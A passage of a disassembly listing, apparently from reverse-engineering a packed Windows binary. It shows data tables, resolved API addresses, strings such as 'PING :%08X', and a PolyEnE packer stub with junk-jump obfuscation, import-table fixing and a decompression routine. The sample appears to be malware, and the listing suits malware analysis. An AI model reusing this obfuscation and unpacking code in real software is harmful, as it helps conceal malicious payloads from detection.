0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF: .data:off_41DA5Co dword_41DD54 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .data:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: .data:loc_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4167F1+263o align 10h a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao align 10h dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DDE0 dd offset off_4172BC ; DATA XREF: .data:off_4172C0o ; .data:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DE00 dd offset off_4172BC ; DATA XREF: .data:off_417308o ; .data:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DE18 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DE1C dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DE20 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DE24 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DE2C dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE38 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DE3C dd 0 ; DATA XREF: sub_40332B+Bo dword_41DE40 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE48 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE4C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE50 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE54 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE58 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE5C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE60 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE64 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE68 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE6C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE70 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE74 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE78 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE7C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DE80 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DE84 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE88 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DE8C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E294 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E298 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E2A0 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E2A4 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E2A8 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E2AC dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E2B0 dd 14AE80h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2D0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2D8 dd 14AEA8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2F0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2F8 dd 863A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2FC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E300 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E304 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E308 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E898 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E998 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E9A4 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E9AC dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0B9h, 0DBh, 0B0h dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0 dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EADC dd 84FA1F6Dh ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAE0 dd 0FE4D3D92h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAE4 dd 0A189687Fh ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAE8 dd 0B4202C6h ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0E6h, 0B7h, 0B0h dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0) dword_41EB08 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EB10 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EB14 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EB1C dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EB20 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EB24 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EB2C dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... dword_41EC30 dd 258819E5h ; DATA XREF: sub_40A9CF+838r ; sub_4167F1+118w dword_41EC34 dd 6A1895F0h ; DATA XREF: sub_4167F1+122w dword_41EC38 dd 0F2E59FAh ; DATA XREF: sub_4167F1+12Cw dword_41EC3C dd 8350B661h ; DATA XREF: sub_4167F1+136w dword_41EC40 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41ED48 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF48 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3EDh dup(0) ; --------------------------------------------------------------------------- pusha push edi xchg edi, ebx jmp short loc_420007 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_420007: ; CODE XREF: .data:00420004j pop ebx xchg edi, ebx jmp short loc_420011 ; --------------------------------------------------------------------------- db 0Fh, 23h ; --------------------------------------------------------------------------- loc_42000E: ; CODE XREF: .data:loc_420011j jmp short loc_420013 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420011: ; CODE XREF: .data:0042000Aj jmp short loc_42000E ; --------------------------------------------------------------------------- loc_420013: ; CODE XREF: .data:loc_42000Ej ; .data:loc_420013j jmp short near ptr loc_420013+1 ; --------------------------------------------------------------------------- db 0F6h, 8Bh, 0F7h dd 83F7875Fh, 4C704ECh, 0DB2F24h, 0EC835800h, 2404C704h dd 40h, 0F0FFEB59h, 0C102C2C1h, 0F1FF02CAh, 0F315FFEBh dd 0EB004204h, 0FFEBF0FFh, 8B4444F0h, 44FE244Ch, 0FB875744h dd 5B0F01EBh, 68FB87h, 5D004010h, 836901EBh, 4C704ECh dd 0DB2F24h, 5D8A5A00h, 82DA3200h, 0EB80BBF3h, 0FEDA02EBh dd 3AEB80CBh, 0F603C3C0h, 2D300D3h, 3DC3C0DAh, 0FF451988h dd 0CAFFEBC1h, 0F00FA83h, 0FFFFD185h, 8B4444FFh, 44FE2474h dd 0FB875744h, 5B0F01EBh, 68FB87h, 8B004010h, 0C483243Ch dd 0F6FFEB04h, 230F05EBh, 0EB3103EBh, 55968FBh, 48B0042h dd 4C48324h, 0FFEBD0FFh, 4204F715h, 1E85000h, 0C7000000h dd 8C08358h, 58E0FFEBh, 0C2C100EBh, 2CAC102h, 0BD55D287h dd 719h, 40685D95h, 59000000h, 51F0FFEBh, 0F315FFEBh, 50004204h dd 0F0FFC987h, 444400EBh, 0FE247C8Bh, 684444h, 5A004170h dd 0C704EC83h, 7192404h, 8A580000h, 82F82A3Ah, 0CFC0FFEFh dd 0E5EF82B3h, 828AC782h, 0C78015C7h, 0A4EF8066h, 2FFF780h dd 64EF82F8h, 3F88F832h, 423101EBh, 8BF6FFEBh, 0F7875FF7h dd 0C8FFEB47h, 0F00F883h, 0FFFFC285h, 685EFFh, 8B004170h dd 0C483243Ch, 0C1C98704h, 0C6C120C6h, 6901EB20h, 903101EBh dd 0E850F6FFh, 1, 0C08358C7h, 0E0FFEB08h, 559B858h, 0D0FF0042h dd 0F715FFEBh, 50004204h, 1E8h, 8358C700h, 0FFEB08C0h dd 4E6858E0h, 58000037h, 4068h, 240C8B00h, 3304C483h, 2EB57C7h dd 43330BDh, 0F0FF5F24h, 15FFEB51h, 4204F3h, 50F0FFEBh dd 5F6901EBh, 8BF6FFEBh, 0F7875FF7h, 41800068h, 24048B00h dd 6804C483h, 374Eh, 0C0088A5Ah, 0D1000FC9h, 0C1C0D128h dd 0FFE9829Ah, 80FFF180h, 0F180CAE9h, 8EC9C0FFh, 80D3C1C0h dd 0C1C0FFE9h, 24C182E0h, 0D2870F88h, 0C7FFC0FFh, 0EBFB8757h dd 875B0F01h, 0FA834AFBh, 0BE850F00h, 0EBFFFFFFh, 0F78BF6FFh dd 86F7875Fh, 0A001EBC4h, 8C0C166h, 748B4444h, 4444FE24h dd 0C102C2C1h, 0E85002CAh, 1, 0C08358C7h, 0E0FFEB08h, 0B85058h dd 97004180h, 87575658h, 0F01EBFBh, 33FB875Bh, 2EB57C7h dd 43330BDh, 59685F24h, 8B004205h, 0C4832404h, 0EBD0FF04h dd 4F715FFh, 0C2C10042h, 2CAC102h, 0F05EB90h, 3103EB23h dd 0D287FBEBh, 0C704EC83h, 73C82404h, 875F0041h, 0EBC486C9h dd 0C166A001h, 0C78B08C0h, 8BF6FFEBh, 0F7875FF7h, 5B850h dd 58910000h, 0C704EC83h, 2404h, 0EB5B0000h, 18396901h dd 31850Fh, 0C7330000h, 0BD02EB57h, 24043330h, 52C9875Fh dd 4BAh, 2BDAF700h, 0C9FF5AC2h, 51524048h, 5A241C39h, 0FB840F5Ah dd 0EB000000h, 0FFC5E900h, 86F4FFFFh, 0A001EBC4h, 8C0C166h dd 8BF6FFEBh, 0F7875FF7h, 400000BBh, 20C6C100h, 480C478Bh dd 0EBC30340h, 0FFEBF0FFh, 4204FB15h, 8B5E5000h, 0C3011047h dd 0C987038Bh, 0EB57C733h, 3330BD02h, 685F2404h, 0 ; --------------------------------------------------------------------------- pop ecx push edx push eax cmp [esp], ecx pop edx pop edx jz loc_4203F0 test eax, 80000000h jnz loc_4203A3 xchg edx, edx rol edx, 2 ror edx, 2 jmp short loc_420384 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420384: ; CODE XREF: .data:00420381j add eax, 400000h xor eax, edi push edi jmp short loc_420390 ; --------------------------------------------------------------------------- dw 30BDh ; --------------------------------------------------------------------------- loc_420390: ; CODE XREF: .data:0042038Cj xor eax, [esp] pop edi inc eax inc eax jmp loc_4203B9 ; --------------------------------------------------------------------------- dd 2C2C1BFh ; --------------------------------------------------------------------------- ror edx, 2 loc_4203A3: ; CODE XREF: .data:00420373j push eax call near ptr loc_4203A9+1 loc_4203A9: ; CODE XREF: .data:004203A4p mov dword ptr [eax-7Dh], 0FFEB08C0h loopne near ptr loc_420408+2 and eax, 0FFFFh xchg ebx, ebx loc_4203B9: ; CODE XREF: .data:00420397j ; .data:loc_4203B9j jmp short near ptr loc_4203B9+1 ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- push esi xchg al, ah jmp short loc_4203C2 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_4203C2: ; CODE XREF: .data:004203BFj rol ax, 8 xchg ecx, ecx jmp short near ptr loc_4203C8+1 ; CODE XREF: .data:loc_4203C8j ; --------------------------------------------------------------------------- dw 0FF15h dd 50004204h, 0B8h, 87589100h, 0FC83BDBh, 4884h, 3899000h dd 49B8Dh, 5DE90000h, 40FFFFFFh ; --------------------------------------------------------------------------- loc_4203F0: ; CODE XREF: .data:00420368j push eax call near ptr loc_4203F6+1 loc_4203F6: ; CODE XREF: .data:004203F1p mov dword ptr [eax-7Dh], 0FFEB08C0h loopne loc_420457 push eax mov eax, 14h add edi, eax pop eax loc_420408: ; CODE XREF: .data:004203B0j jmp near ptr dword_420018+2AAh ; --------------------------------------------------------------------------- sbb ebx, ebp add [ecx], esi jmp short loc_420414 ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: .data:00420411j popa push offset sub_4167F1 pop eax rol edx, 2 ror edx, 2 push eax jmp short near ptr loc_420422+1 ; CODE XREF: .data:loc_420422j ; --------------------------------------------------------------------------- dd 0C8FFEBC0h, 0F05EBC3h, 3103EB23h, 0B68FBEBh, 58004206h dd 6820C6C1h, 420626h, 83241C8Bh, 0FFEB04C4h, 10B850F1h dd 92000000h, 0F2FFEB58h ; --------------------------------------------------------------------------- jmp short $+2 push ebx loc_420457: ; CODE XREF: .data:004203FDj push eax jmp short near ptr loc_420459+1 ; CODE XREF: .data:loc_420459j ; --------------------------------------------------------------------------- icebp mov eax, offset aUser32_dll ; "USER32.dll" dec eax inc eax xchg al, ah jmp short loc_420468 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: .data:00420465j rol ax, 8 push eax xchg edx, edx jmp short near ptr loc_42046F+1 ; CODE XREF: .data:loc_42046Fj ; --------------------------------------------------------------------------- adc eax, (offset loc_4204FA+1) mov ecx, offset aMessageboxa ; "MessageBoxA" push ecx jmp short loc_420483 ; --------------------------------------------------------------------------- dw 230Fh ; --------------------------------------------------------------------------- loc_420480: ; CODE XREF: .data:loc_420483j jmp short loc_420485 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420483: ; CODE XREF: .data:0042047Cj jmp short loc_420480 ; --------------------------------------------------------------------------- loc_420485: ; CODE XREF: .data:loc_420480j xchg ecx, ecx push eax push eax call near ptr loc_42048E+1 loc_42048E: ; CODE XREF: .data:00420489p mov dword ptr [eax-7Dh], 0FFEB08C0h loopne loc_4204EF push edi xchg edi, ebx jmp short loc_42049D ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_42049D: ; CODE XREF: .data:0042049Aj pop ebx xchg edi, ebx jmp short near ptr loc_4204A0+1 ; CODE XREF: .data:loc_4204A0j ; --------------------------------------------------------------------------- dw 0FF15h ; --------------------------------------------------------------------------- add al, 42h add bh, bh shr bl, 1 call dword ptr loc_420503 jmp short loc_4204B7 ; --------------------------------------------------------------------------- dw 230Fh ; --------------------------------------------------------------------------- loc_4204B4: ; CODE XREF: .data:loc_4204B7j jmp short loc_4204B9 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_4204B7: ; CODE XREF: .data:004204B0j jmp short loc_4204B4 ; --------------------------------------------------------------------------- loc_4204B9: ; CODE XREF: .data:loc_4204B4j jmp loc_420554 ; --------------------------------------------------------------------------- align 10h dd 0 dd 0FFFF0000h, 4E6FFFFh, 4F30002h, 2 dword_4204D4 dd 4 dup(0) ; CODE XREF: .data:loc_4204FAj dd 454B0000h, 4C454E52h db 33h, 32h, 2Eh ; --------------------------------------------------------------------------- loc_4204EF: ; CODE XREF: .data:00420495j db 64h insb insb add [ebx+377E736h], ah cmp bh, ah loc_4204FA: ; DATA XREF: .data:00420471o ja short near ptr dword_4204D4 add eax, 0A5FD77E8h out 77h, eax loc_420503: ; DATA XREF: .data:004204AAr mov ch, 5Ch out 77h, eax ; --------------------------------------------------------------------------- db 0 dd 68000000h, 6F6C4701h, 416C6162h, 636F6C6Ch, 47016F00h dd 61626F6Ch, 6572466Ch, 1A90065h, 64616F4Ch, 7262694Ch dd 41797261h, 47012900h, 72507465h, 6441636Fh, 73657264h dd 750073h, 74697845h, 636F7250h, 737365h ; --------------------------------------------------------------------------- loc_420554: ; CODE XREF: .data:loc_4204B9j jmp loc_420609 ; --------------------------------------------------------------------------- push ebp push edi mov ebx, edi xor ebp, ebp add ebx, [esi] add esi, 8 loc_420564: ; CODE XREF: .data:00420571j mov dx, [esi] mov ecx, ebp inc esi shr dx, cl mov dh, 9 loc_42056F: ; CODE XREF: .data:004205EBj ; .data:004205FCj dec dh jz short loc_420564 shl dl, 1 jnb short loc_4205ED push esi mov ecx, ebp mov eax, [esi] shr eax, cl mov ecx, eax mov esi, eax shr ecx, 3 test eax, 4 jz short loc_420597 and ecx, 1Fh shr eax, 8 add ebp, 8 jmp short loc_4205A0 ; --------------------------------------------------------------------------- loc_420597: ; CODE XREF: .data:0042058Aj and ecx, 3 shr eax, 5 add ebp, 5 loc_4205A0: ; CODE XREF: .data:00420595j and esi, 3 test esi, esi jz short loc_4205B5 dec esi jz short loc_4205BF dec esi jz short loc_4205C9 and eax, 7 add ebp, 3 jmp short loc_4205CF ; --------------------------------------------------------------------------- loc_4205B5: ; CODE XREF: .data:004205A5j and eax, 7Fh add ebp, 7 jmp short loc_4205CF ; --------------------------------------------------------------------------- loc_4205BF: ; CODE XREF: .data:004205A8j and eax, 3Fh add ebp, 6 jmp short loc_4205CF ; --------------------------------------------------------------------------- loc_4205C9: ; CODE XREF: .data:004205ABj and eax, 0Fh add ebp, 4 loc_4205CF: ; CODE XREF: .data:004205B3j ; .data:004205BDj ... inc eax mov esi, edi add ecx, 2 sub esi, eax lea eax, [ecx+edi] cmp eax, ebx jnb short loc_420601 rep movsb mov ecx, ebp pop esi shr ecx, 3 and ebp, 7 add esi, ecx jmp short loc_42056F ; --------------------------------------------------------------------------- loc_4205ED: ; CODE XREF: .data:00420575j cmp edi, ebx jnb short loc_420602 mov ecx, ebp mov eax, [esi] inc edi shr eax, cl inc esi mov [edi-1], al jmp loc_42056F ; --------------------------------------------------------------------------- loc_420601: ; CODE XREF: .data:004205DCj pop ecx loc_420602: ; CODE XREF: .data:004205EFj mov eax, edi pop edi sub eax, edi pop ebp retn ; --------------------------------------------------------------------------- loc_420609: ; CODE XREF: .data:loc_420554j jmp short near ptr byte_420645 ; --------------------------------------------------------------------------- aUnableToFixImp db 'Unable to fix importtable.',0 aPolyene db 'PolyEnE',0 aMessageboxa db 'MessageBoxA',0 ; DATA XREF: .data:00420476o aUser32_dll db 'USER32.dll',0 ; DATA XREF: .data:0042045Co byte_420645 db 3 dup(0) ; CODE XREF: .data:loc_420609j dd 26Eh dup(0) ; --------------------------------------------------------------------------- pusha push edi xchg edi, ebx jmp short loc_421007 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_421007: ; CODE XREF: .data:00421004j pop ebx xchg edi, ebx sub esp, 4 mov dword ptr [esp], 0F664h pop eax rol edx, 2 ror edx, 2 push 40h pop ecx push eax push ecx jmp short near ptr loc_421024+1 ; CODE XREF: .data:loc_421024j ; --------------------------------------------------------------------------- dw 8615h dd 0EB004215h, 0E850F0FFh, 1, 0C08358C7h, 0E0FFEB08h, 0F0FFEB58h dd 10006859h, 2C8B0040h, 4C48324h, 0C704EC83h, 0F6642404h dd 8A5B0000h, 0EC800065h, 0FFC480FFh, 0E332DC00h, 8090CCC0h dd 0F480FFF4h, 82E332FFh, 0F48201C4h, 2E33201h, 0FFF480E3h dd 0C001C480h, 0E30252CCh, 883EF482h, 0FFD28721h, 0C1FFEBC5h dd 0FB834Bh, 0FFBD850Fh, 348BFFFFh, 4C48324h, 40100068h dd 243C8B00h, 8704C483h, 6901EBDBh, 90F6FFEBh, 4215EC68h dd 24048B00h, 0EB04C483h, 0FF00EB00h, 15FFEBD0h, 42158Ah dd 116800EBh, 8B000008h, 0C4832404h, 0F6FFEB04h, 875FF78Bh dd 40B9F7h, 0F0FF0000h, 0EB5100EBh, 158615FFh, 5EB0042h dd 3EB230Fh, 48FBEB31h, 87505040h, 243C8BC9h, 0EB04C483h dd 6890A901h, 417000h, 11B8505Dh, 91000008h, 7D8A58h, 0CFC0F902h dd 0C0CFFEEAh, 0CFFE65C7h, 24DEF82h, 43CFC0F9h, 0CF00D7F6h dd 8030CFC0h, 3F88FFF7h, 0FFEBC5FFh, 5FF78BF6h, 0FFEBF787h dd 5FF78BF6h, 0FF47F787h, 0F983C9h, 0FFBF850Fh, 0D287FFFFh dd 748B4444h, 4444FE24h, 8BF6FFEBh, 0F7875FF7h, 417000BFh dd 0E8505600h, 1, 0C08358C7h, 0E0FFEB08h, 83C98758h, 4C704ECh dd 4215EC24h, 0D0FF5800h, 1E850h, 58C70000h, 0EB08C083h dd 0EB58E0FFh, 0FFEBC0FFh, 3101EBC8h, 8A15FFEBh, 87004215h dd 0E7BD55C9h, 9500003Dh, 40685Dh, 0C8B0000h, 4C48324h dd 0EBF0FFh, 0EBF1FFEBh, 158615FFh, 0C7330042h, 0BD02EB57h dd 24043330h, 50F0FF5Fh, 0EBFB8757h, 875B0F01h, 1EB5BFBh dd 83D28769h, 4C704ECh, 41800024h, 0C9875F00h, 683101EBh dd 3DE7h, 0F62F8A58h, 1ED82D5h, 287BF582h, 0E4F582C5h dd 82ADC5C0h, 0E82AC3C5h, 0F627CDC0h, 58ED80D5h, 88FFED80h dd 0EBC7FF2Bh, 0C486A901h, 66A001EBh, 0EB08C0C1h, 0FFEBC0FFh dd 6901EBC8h, 0C8FFEB43h, 0F00F883h, 0FFFFB885h, 0FB8757FFh dd 5B0F01EBh, 0C733FB87h, 0BD02EB57h, 24043330h, 24348B5Fh dd 8304C483h, 4C704ECh, 41800024h, 0FFEB5F00h, 15EC68F6h dd 48B0042h, 4C48324h, 0EBD0FF90h, 158A15FFh, 1EB0042h dd 0C0FFEB69h, 83C8FFEBh, 4C704ECh, 55124h, 0C9875800h dd 1EBC486h, 0C0C166A0h, 406808h, 0C8B0000h, 4C48324h dd 1EBC486h, 0C0C166A0h, 0FFF0FF08h, 15FFEBF1h, 421586h dd 0FFEB00EBh, 5EB50F0h, 3EB230Fh, 5AFBEB31h, 0C704EC83h dd 2404h, 83580042h, 4C704ECh, 55124h, 188A5900h, 0FEFFEB82h dd 0CB00C3h, 93C380CBh, 0EB82D3F6h, 82EB8001h, 0EB80CB28h dd 86CBC013h, 0D3F6D92Ah, 821DEB80h, 0C38266EBh, 571A88FFh dd 1EBFB87h, 0FB875B0Fh, 50A901EBh, 1E8h, 8358C700h, 0FFEB08C0h dd 0C98758E0h, 5EB4240h, 3EB230Fh, 0EBFBEB31h, 0E850C9FFh dd 1, 0C08358C7h, 0E0FFEB08h, 0F98358h, 0FF90850Fh, 0C6C1FFFFh dd 0A901EB20h, 348B00EBh, 4C48324h, 686901EBh, 420000h dd 0A901EB5Fh, 55C98756h, 4215ECBDh, 0EB5D9500h, 4890A901h dd 87D0FF40h, 2C2C1D2h, 0EB02CAC1h, 158A15FFh, 0DB870042h dd 4204BEBFh, 0F05EB00h, 3103EB23h, 1EBFBEBh, 89404869h dd 5B9F8h, 0EC830000h, 2404C704h, 0 dd 0F18395Bh, 2485h, 40500h, 0FFEB0000h, 0A901EBC9h, 0EB57C733h dd 3330BD02h, 3B5F2404h, 0D8840FCBh, 0E9000000h, 0FFFFFFD5h dd 2C2C1DFh, 3302CAC1h, 2EB57C7h, 43330BDh, 1EB5F24h, 0BB31h dd 478B0040h, 6901EB0Ch, 0C303DB87h, 404800EBh, 15FFEB50h dd 42158Eh, 478BC689h, 6901EB10h, 0D803DB87h, 0EBFB8757h dd 875B0F01h, 48038BFBh, 57C73340h, 30BD02EBh, 5F240433h dd 0B9DB87h, 3B000000h, 64840FC1h, 0EB000000h, 0BA526901h dd 400000h, 0C22BDAF7h, 3101EB5Ah, 0C0FFEB90h, 0F05EB90h dd 3103EB23h, 0C0FFFBEBh, 0F0FFC987h, 0FFEBF6FFh, 42159215h dd 6800h, 0C8B0000h, 4C48324h, 0C3B5052h, 0F5A5A24h, 3E84h dd 0EB038900h, 57C73300h, 30BD02EBh, 5F240433h, 4BA52h dd 0DA030000h, 0FF7FE95Ah, 816EFFFFh, 14C7h, 0FEF1E900h dd 6121FFFFh, 6901EB90h, 42000068h, 24048B00h, 0EB04C483h dd 57C3F0FFh, 1EBFB87h, 0FB875B0Fh, 169EBD55h, 5D950042h dd 0C704EC83h, 16B92404h, 515B0042h, 10B850h, 58920000h dd 0EBF2FFh, 876901EBh, 0FFEB53D2h, 5FF78BF6h, 0FFEBF787h dd 68F1FFF0h, 4216CDh, 8324048Bh, 0FFEB04C4h, 15FFEBF0h dd 42158Eh, 0C1B9D287h, 0EB004216h, 0FFEBC0FFh, 0EB5051C8h dd 159215FFh, 0D0FF0042h, 9615FFEBh, 86004215h, 0A001EBC4h dd 8C0C166h, 96E9h, 0 dd 0C3133700h, 0E60000CDh, 2157977h, 2158600h, 5 dup(0) db 0 db 4Bh, 45h, 52h db 4Eh ; N db 45h, 4Ch, 33h db 32h ; 2 db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 36A3h db 0E7h ; ç db 77h, 3, 38h db 0E7h ; ç db 77h, 0D8h, 5 db 0E8h ; è db 77h, 0FDh, 0A5h db 0E7h ; ç db 77h, 0B5h, 5Ch db 0E7h ; ç db 77h, 2 dup(0) db 0 align 2 dw 168h aGlobalalloc db 'GlobalAlloc',0 db 6Fh ; o db 1, 47h, 6Ch aObalfree db 'obalFree',0 db 0A9h, 1, 4Ch aOadlibrarya db 'oadLibraryA',0 db 29h ; ) db 1, 47h, 65h aTprocaddress db 'tProcAddress',0 aU_0 db 'u',0 aExitprocess db 'ExitProcess',0 ; --------------------------------------------------------------------------- jmp loc_42169C ; --------------------------------------------------------------------------- push ebp push edi mov ebx, edi xor ebp, ebp add ebx, [esi] add esi, 8 loc_4215F7: ; CODE XREF: .data:00421604j mov dx, [esi] mov ecx, ebp inc esi shr dx, cl mov dh, 9 loc_421602: ; CODE XREF: .data:0042167Ej ; .data:0042168Fj dec dh jz short loc_4215F7 shl dl, 1 jnb short loc_421680 push esi mov ecx, ebp mov eax, [esi] shr eax, cl mov ecx, eax mov esi, eax shr ecx, 3 test eax, 4 jz short loc_42162A and ecx, 1Fh shr eax, 8 add ebp, 8 jmp short loc_421633 ; --------------------------------------------------------------------------- loc_42162A: ; CODE XREF: .data:0042161Dj and ecx, 3 shr eax, 5 add ebp, 5 loc_421633: ; CODE XREF: .data:00421628j and esi, 3 test esi, esi jz short loc_421648 dec esi jz short loc_421652 dec esi jz short loc_42165C and eax, 7 add ebp, 3 jmp short loc_421662 ; --------------------------------------------------------------------------- loc_421648: ; CODE XREF: .data:00421638j and eax, 7Fh add ebp, 7 jmp short loc_421662 ; --------------------------------------------------------------------------- loc_421652: ; CODE 